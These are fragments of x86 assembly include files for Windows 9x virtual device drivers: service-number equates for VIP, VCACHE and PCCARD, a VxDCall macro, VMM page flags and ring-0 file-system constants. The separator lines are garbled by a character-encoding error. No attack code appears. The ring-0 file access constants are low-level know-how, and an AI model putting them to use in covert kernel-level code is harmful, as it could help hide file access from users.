VIP_VIP_Register_Driver         equ     004890003h
VIP_VIP_Set_Addr                equ     004890004h
VIP_VIP_ICMP_Echo               equ     004890005h
VIP_VIP_Register_Addr_Change    equ     004890006h
VIP_VIP_Set_DCHP_Interface      equ     004890007h

;    [048A.MSTCP]
MSTCP_Get_Version               equ     0048A0000h

;    [048B.VCACHE]
VCACHE_Get_Version              equ     0048B0000h
VCACHE_Register                 equ     0048B0001h
VCACHE_GetSize                  equ     0048B0002h
VCACHE_CheckAvail               equ     0048B0003h
VCACHE_FindBlock                equ     0048B0004h
VCACHE_FreeBlock                equ     0048B0005h
VCACHE_MakeMRU                  equ     0048B0006h
VCACHE_Hold                     equ     0048B0007h
VCACHE_Unhold                   equ     0048B0008h
VCACHE_Enum                     equ     0048B0009h
VCACHE_TestHandle               equ     0048B000Ah
VCACHE_VerifySums               equ     0048B000Bh
VCACHE_RecalcSums               equ     0048B000Ch
VCACHE_TestHold                 equ     0048B000Dh
VCACHE_GetStats                 equ     0048B000Eh
VCACHE_Deregister               equ     0048B000Fh
VCACHE_AdjustMinimum            equ     0048B0010h
VCACHE_SwapBuffers              equ     0048B0011h
VCACHE_RelinquishPage           equ     0048B0012h
VCACHE_UseThisPage              equ     0048B0013h
VCACHE_CreateLookupCache        equ     0048B0014h
VCACHE_CloseLookupCache         equ     0048B0015h
VCACHE_DeleteLookupCache        equ     0048B0016h
VCACHE_Lookup                   equ     0048B0017h
VCACHE_UpdateLookup             equ     0048B0018h

;    [048E.NWREDIR]

;    [0491.FILESEC]

;    [0492.NWSERVER]

;    [0496.NDIS2SUP]

;    [0497.MSODISUP]

;    [0498.SPLITTER]

;    [0499.PPPMAC]

;    [049A.VDHCP]

;    [049D.LOGGER]

;    [097C.PCCARD]
PCCARD_Get_Version              equ     0097C0000h
PCCARD_Card_Services            equ     0097C0001h
PCCARD_Access_CIS_Memory        equ     0097C0002h

; --- End of Hiew.VMM --------------------------------------
哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪[include\hiew_vmm.inc]哪
哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪[include\vxd_call.inc]哪

VxDCall                 macro   Service
                        db      0CDh
                        db      020h
                        dd      Service
                        endm

VMMCall                 macro   Service
                        VxDCall VMM_&Service&
                        endm
哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪[include\vxd_call.inc]哪
哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪腫include\vmm.inc]哪

PG_SYS                  equ     1

PAGEZEROINIT            equ     00000001H
PAGEFIXED               equ     00000008H
哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪腫include\vmm.inc]哪
哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪腫include\ifs.inc]哪

R0_NO_CACHE			equ	0100h

R0_READFILE_IN_CONTEXT		equ	0D602h
R0_CLOSEFILE			equ	0D700h

哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪腫include\ifs.inc]哪
